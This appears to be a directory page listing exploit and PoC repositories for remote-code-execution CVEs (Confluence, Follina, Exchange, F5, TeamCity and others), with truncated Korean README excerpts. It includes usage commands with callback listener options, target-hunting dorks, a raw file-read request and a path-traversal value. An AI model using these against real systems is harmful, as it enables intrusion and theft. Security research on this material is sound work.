dh-CVE_2016_2098

Proof of concept for https://groups.google.com/forum/!topic/rubyonrails-security/ly-IH-fxrQ == 익스플로잇: 1. 악용될 가능성이 없다고 확신하는 방식으로만 rails server를 실행해야 합니다. 2. rails s를 실행하세요. 3. 다음 명령어를 실행하세요. curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' "id" : "inline" : ""'...

CVE-2023-22527

CVE-2023-22527 - Confluence Data Center 및 Confluence Server의 RCE원격 코드 실행 취약점 PoC 탐지 nuclei -v -t /path/to/template.yam; -u http://ip:port/ 익스플로잇 python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

gollina

$ gollina -h gollina Follina MS-MSDT 0-day MS Office RCE PoC in Go -- @dwisiswant0 Usage: gollina -c COMMAND OPTIONS... Options: -h, --host Listener host default: 0.0.0.0 -p, --port Listener port default: 8090 -n, --name Word file name w/o extension, default: gollina -c, --command Arbitrary comma...

CVE-2019-6340

CVE-2019-6340 Drupal8의 REST RCE, SA-CORE-2019-003 0x01 docker search CVE-2019-6340 NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 Using default tag: latest latest:...

CVE-2021-26855-exploit-Exchange

CVE-2021-26855 Exchange 익스플로잇 전 세계 자동 스캔 및 RCE 자동 익스플로잇 제공: EOG Team...

rails-activestorage-vips-audit

rails-activestorage-vips-audit An Agent Skill that audits Ruby on Rails repositories for exposure to CVE-2026-66066 KindaRails2Shell — the Active Storage libvips variant-processing vulnerability that allows arbitrary file read and, in a Rails application, remote code execution. The skill is a...

Satellian-CVE-2020-7980

Satellian-CVE-2020-7980 Satellian은 Intellian 위성 컨트롤러Intellian Aptus Web에서 RCE 취약점을 보여주는 PoC 스크립트입니다. 다음 스크립트는 시스템의 모든 바이너리를 나열하려고 시도한 후, 테스터가 서버일반적으로 root와 직접 상호작용할 수 있도록 합니다. PoC xh4h@Macbook-xh4h /Satellian python satellian.py -u http:// / \ oo Intellian Satellite Terminal PoC /-------/ --' / /...

CVE-2022-26134

CVE-2021-46422 RCE 설치 git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2021-46422 RCE.py放到pocsuite3\pocs目录下 cd pocs pocsuite3 사용 단일 url: pocsuite -r CVE-2021-46422 RCE.py -u url 여러 url: pocsuite -r CVE-2021-46422 RCE.py -...

CVE-2024-21006_PoC

CVE-2024-21006 PoC CVE-2024-21006는 Oracle WebLogic Server에 영향을 주는 치명적인 원격 코드 실행RCE 취약점입니다. 이 결함은 IIOPInternet Inter-ORB Protocol 및 JNDIJava Naming and Directory Interface 프로토콜의 안전하지 않은 사용과 관련되어 있으며, 인증되지 않은 원격 공격자가 악의적인 JNDI 참조를 통해 영향을 받는 서버에서 임의 코드를 실행할 수 있게 합니다. 실습 환경 배포 환경을 구축합니다: docker-compo...

apache_normalize_path

CVE-2021-41773|CVE-2021-42013: Apache HTTP 서버에서 악용된 경로 탐색 제로데이 10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에...

CVE-2022-26809

CVE 설명 CVE-2022-26809 - 핵심 Windows 구성 요소RPC의 취약점으로, CVSS 점수 9.8을 받은 데에는 이유가 있습니다. 공격에 인증이 필요하지 않고 네트워크를 통해 원격으로 실행될 수 있으며, RPC 서비스의 권한으로 원격 코드 실행RCE이 가능합니다. RPC 서비스의 권한은 RPC 런타임을 호스팅하는 프로세스에 따라 달라집니다. 약간의 운이 따르는 이 치명적인 버그는 패치되지 않은 SMB를 실행하는 Windows 호스트에 접근할 수 있게 해줍니다. 이 취약점은 네트워크 외부에서 침입하기 위해, 그리...

CVE-2024-27198-RCE

사이버공간 매핑 Dork Fofa app="JETBRAINS-TeamCity" ZoomEye app:"JetBrains TeamCity" Hunter.how product.name="TeamCity" Shodan http.component:"teamcity" 사용 방법 Python3.9를 사용합니다. pip install requests urllib3 faker python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4 python...

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC 설명 이것은 CVE-2023-30253 Dolibarr 17.0.0 PHP 코드 인젝션에 대한 PoC입니다. CMS 웹사이트 플러그인코어이 활성화되어 있을 때, 인증된 공격자는 애플리케이션 제한을 우회하는 PHP 코드 인젝션을 통해 원격 명령 실행을 얻을 수 있습니다. 설치 저장소를 클론합니다: git clone https://github.com/g4nkd/CVE-2023-30253-PoC.git cd CVE-2023-30253-PoC pip install -r...

CVE-2024-4885

CVE-2024-4885 CVE-2024-4885 Progress WhatsUp Gold GetFileWithoutZip 인증되지 않은 원격 코드 실행에 대한 PoC CVE-2024-4885 기술 분석 취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ 사용 방법 python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:133...

CVE-2019-14439

CVE-2019-14439 Jackson-databind RCE...

CVE-2019-3396

CVE-2019-3396 Confluence 미인증 RCE CVE-2019-3396 취약점 주의할 점: 일부 버전은 성공하려면 Referer를 추가해야 합니다 파일 읽기 POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 10.10.20.181 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:55.0 Gecko/20100101 Firefox/55.0 Accept: text/plain, /; q=0.01 Accept-Language:...

CVE-2018-16763

Fuel CMS 1.4.1 - 원격 코드 실행 FUEL CMS 1.4.1은 pages/select/ filter 매개변수 또는 preview/ data 매개변수를 통해 PHP 코드 평가를 허용합니다. 이로 인해 사전 인증Pre-Auth 원격 코드 실행이 발생할 수 있습니다. 설치 git clone https://github.com/Trushal2004/CVE-2018-16763.git cd CVE-2018-16763/ python3 -m pip install -r requirements.txt chmod +x exploit.p...

CVE-2020-5902

CVE-2020-5902 자동 익스플로잇 RCE CVE-2020-5902 F5 BIG-IP RCE + READ FILE Dorks : http.title:"BIG-IP®- Redirect" shodan.io 사용...

es_inject

CVE-2014-3120 Elastic Search 원격 코드 실행 이 프로젝트는 CVE-2014-3120 취약점/잘못된 구성을 시연합니다. ES를 호스팅하는 시스템의 파일을 읽고 추가할 수 있으며, ES를 실행하는 사용자가 해당 파일에 대한 액세스 권한을 가지고 있어야 합니다. 참고 사항 웹 서버가 필요하지 않습니다. 로컬에 저장한 후 브라우저에서 실행하세요. 발견 및 취약점 게시 크레딧: @BvdBijl - http://bouk.co/blog/elasticsearch-rce/...

CVE-2026-66492

파일 업로드 대상의 경로 순회 PhocaCommander ≤ 6.1.3 — 인증된 관리자가 웹 루트 외부에 파일을 쓸 수 있음 요약 PhocaCommander의 파일 업로드 핸들러는 경로 포함 검증 없이 공격자가 제어하는 base64로 인코딩된 folder 매개변수에서 대상 경로를 구성합니다. 인증된 관리자는 웹 서버 프로세스가 쓸 수 있는 웹 루트 외부의 임의 위치에 파일을 업로드할 수 있습니다. 실험실에서 확인된 내용: folder=Li4vLi4vLi4vdG1w = ../../../tmp로 업로드하면 업로드된 파일이...